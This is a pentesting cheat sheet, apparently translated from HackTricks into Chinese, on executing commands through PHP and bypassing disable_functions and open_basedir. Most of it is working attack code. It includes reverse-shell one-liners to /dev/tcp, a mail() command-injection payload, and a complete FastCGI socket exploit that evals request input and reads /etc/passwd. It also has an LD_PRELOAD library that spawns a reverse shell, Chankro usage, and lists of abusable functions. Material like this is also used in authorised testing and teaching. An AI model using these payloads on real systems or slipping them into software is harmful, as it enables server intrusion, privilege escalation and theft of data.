PHP - Useful Functions & disable_functions/open_basedir bypass

支持 HackTricks

PHP 命令与代码执行

PHP 命令执行

注意: 一个 p0wny-shell php webshell 可以 自动 检查并绕过以下函数,如果其中一些被禁用。

exec - 返回命令输出的最后一行

echo exec("uname  -a");

passthru - 直接将命令输出传递给浏览器

echo passthru("uname -a");

system - 将命令输出直接传递给浏览器并返回最后一行

echo system("uname -a");

shell_exec - 返回命令输出

echo shell_exec("uname -a");

`` (反引号) - 与 shell_exec() 相同

echo `uname -a`

popen - 打开到命令进程的读或写管道

echo fread(popen("/bin/ls /", "r"), 4096);

proc_open - 类似于 popen() 但控制程度更高

proc_close(proc_open("uname -a",array(),$something));

preg_replace

<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>

pcntl_exec - 执行一个程序(在现代和不太现代的 PHP 中,默认情况下您需要加载 pcntl.so 模块才能使用此函数)

pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);

mail / mb_send_mail - 此函数用于发送邮件,但也可以被滥用以在 $options 参数中注入任意命令。这是因为 php mail 函数 通常在系统内部调用 sendmail 二进制文件,并允许您 添加额外选项。然而,您将无法看到执行命令的输出,因此建议创建一个将输出写入文件的 shell 脚本,通过邮件执行它,并打印输出:

file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777);  mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');

dl - 此函数可用于动态加载 PHP 扩展。此函数并不总是存在,因此在尝试利用它之前,您应该检查它是否可用。阅读此页面以了解如何利用此函数

PHP 代码执行

除了 eval,还有其他方法可以执行 PHP 代码:include/require 可用于以本地文件包含和远程文件包含漏洞的形式进行远程代码执行。

${<php code>}              // If your input gets reflected in any PHP string, it will be executed.
eval()
assert()                   //  identical to eval()
preg_replace('/.*/e',...)  // e does an eval() on the match
create_function()          // Create a function and use eval()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);

$func = new ReflectionFunction($_GET['func_name']);
$func->invoke();
// or
$func->invokeArgs(array());

// or serialize/unserialize function

disable_functions & open_basedir

禁用函数是可以在PHP的.ini文件中配置的设置,它将禁止使用指定的函数Open basedir是指示PHP可以访问的文件夹的设置。 PHP设置通常配置在路径 /etc/php7/conf.d 或类似位置。

这两个配置可以在**phpinfo()**的输出中看到:

open_basedir Bypass

open_basedir将配置PHP可以访问的文件夹,你将无法在这些文件夹之外读/写/执行任何文件,而且你甚至无法列出其他目录。 然而,如果你能够执行任意PHP代码,你可以尝试以下代码块来尝试绕过限制。

使用 glob:// 绕过列出目录

在这个第一个例子中,使用了带有某些路径绕过的glob://协议:

<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

注意1:在路径中,您还可以使用 /e??/* 来列出 /etc/* 和其他任何文件夹。 注意2:看起来代码的某部分是重复的,但这实际上是必要的! 注意3:此示例仅用于列出文件夹,而不是读取文件。

完全的 open_basedir 绕过利用 FastCGI

如果您想要了解更多关于 PHP-FPM 和 FastCGI的信息,可以阅读本页的第一部分。 如果**php-fpm已配置,您可以利用它完全绕过open_basedir**:

请注意,您需要做的第一件事是找到php-fpm 的 unix socket在哪里。它通常位于 /var/run 下,因此您可以使用之前的代码列出目录并找到它。 来自这里的代码。

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

这个脚本将与 php-fpm 的 unix socket(通常位于 /var/run,如果使用 fpm)进行通信,以执行任意代码。open_basedir 设置将被发送的 PHP_VALUE 属性覆盖。 注意 eval 是如何用来执行你在 cmd 参数中发送的 PHP 代码的。 还要注意 注释掉的第 324 行,你可以取消注释,它将使 有效载荷自动连接到给定的 URL 并执行其中包含的 PHP 代码。 只需访问 http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); 即可获取 /etc/passwd 文件的内容。

你可能会想,正如我们覆盖了 open_basedir 配置一样,我们也可以 覆盖 disable_functions。好吧,试试吧,但这不会有效,显然 disable_functions 只能在 .ini php 配置文件中进行配置,而你使用 PHP_VALUE 进行的更改在这个特定设置上不会生效。

disable_functions 绕过

如果你能够在机器上执行 PHP 代码,你可能想要更进一步,执行任意系统命令。在这种情况下,通常会发现大多数或所有允许 执行系统命令的 PHP 函数都已被禁用disable_functions 中。 那么,让我们看看你如何可以绕过这个限制(如果可以的话)。

自动绕过发现

你可以使用工具 https://github.com/teambi0s/dfunc-bypasser,它会指示你可以使用哪个函数(如果有的话)来 绕过 disable_functions

使用其他系统函数绕过

只需返回到本页的开头,检查是否有任何执行命令的函数未被禁用并在环境中可用。如果你找到其中的一个,你将能够使用它来执行任意系统命令。

LD_PRELOAD 绕过

众所周知,PHP 中的一些函数如 mail() 将会 在系统内执行二进制文件。因此,你可以利用它们使用环境变量 LD_PRELOAD 来使它们加载一个可以执行任何操作的任意库。

可以用来通过 LD_PRELOAD 绕过 disable_functions 的函数

  • mail

  • mb_send_mail:在安装了 php-mbstring 模块时有效。

  • imap_mail:如果存在 php-imap 模块则有效。

  • libvirt_connect:需要 php-libvirt-php 模块。

  • gnupg_init:在安装了 php-gnupg 模块时可用。

  • new imagick():这个类可以被滥用以绕过限制。详细的利用技术可以在一个全面的 写作中找到

你可以在 这里找到 用于发现这些函数的模糊测试脚本。

这是一个你可以编译以滥用 LD_PRELOAD 环境变量的库:

#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
unsetenv("LD_PRELOAD");
system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\"");
return 1;
}

通过 Chankro 绕过

为了利用这个错误配置,你可以使用 Chankro。这是一个 生成 PHP 漏洞利用代码 的工具,你需要将其上传到易受攻击的服务器并执行(通过网页访问)。 Chankro 将在受害者的磁盘上写入你想要执行的 库和反向 shell,并将使用 LD_PRELOAD 技巧 + PHP mail() 函数来执行反向 shell。

请注意,为了使用 Chankromailputenv 不能出现在 disable_functions 列表中。 在以下示例中,你可以看到如何为 arch 64 创建一个 chankro 漏洞利用代码,它将执行 whoami 并将输出保存到 /tmp/chankro_shell.out,chankro 将 /tmp 中写入库和有效载荷,最终的漏洞利用代码将被称为 bicho.php(这是你需要上传到受害者服务器的文件):

#!/bin/sh
whoami > /tmp/chankro_shell.out

如果您发现 mail 函数被禁用函数阻止,您仍然可以使用 mb_send_mail. 有关此技术和 Chankro 的更多信息,请访问:https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

"绕过" 使用 PHP 功能

请注意,使用 PHP 您可以 读取和写入文件,创建目录和更改权限。 您甚至可以 转储数据库。 也许使用 PHP枚举 该盒子,您可以找到提升权限/执行命令的方法(例如读取某些私有 ssh 密钥)。

我创建了一个 webshell,使执行这些操作变得非常简单(请注意,大多数 webshell 也会为您提供这些选项):https://github.com/carlospolop/phpwebshelllimited

模块/版本依赖的绕过

如果使用某个特定模块或利用某个特定 PHP 版本,有几种方法可以绕过 disable_functions:

自动工具

以下脚本尝试了一些这里提到的方法: https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php

其他有趣的 PHP 函数

接受回调的函数列表

这些函数接受一个字符串参数,可以用来调用攻击者选择的函数。根据函数的不同,攻击者可能有或没有能力传递参数。在这种情况下,可以使用信息泄露函数,如 phpinfo()。

回调 / 可调用

从这里开始的后续列表

// Function => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

信息泄露

大多数这些函数调用不是数据汇聚点。但如果返回的任何数据对攻击者可见,这可能是一个漏洞。如果攻击者可以看到 phpinfo(),这绝对是一个漏洞。

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

其他

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

文件系统函数

根据 RATS,php 中的所有文件系统函数都很糟糕。其中一些对攻击者似乎并不太有用。其他的则比你想象的更有用。例如,如果 allow_url_fopen=On,则可以将 URL 用作文件路径,因此调用 copy($_GET['s'], $_GET['d']); 可以用来在系统上的任何地方上传 PHP 脚本。此外,如果一个站点容易受到通过 GET 发送的请求的攻击,那么所有这些文件系统函数都可以被滥用,以通过你的服务器将攻击引导到另一个主机。

打开文件系统处理程序

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

写入文件系统(部分结合读取)

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

从文件系统读取

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
支持 HackTricks

Last updated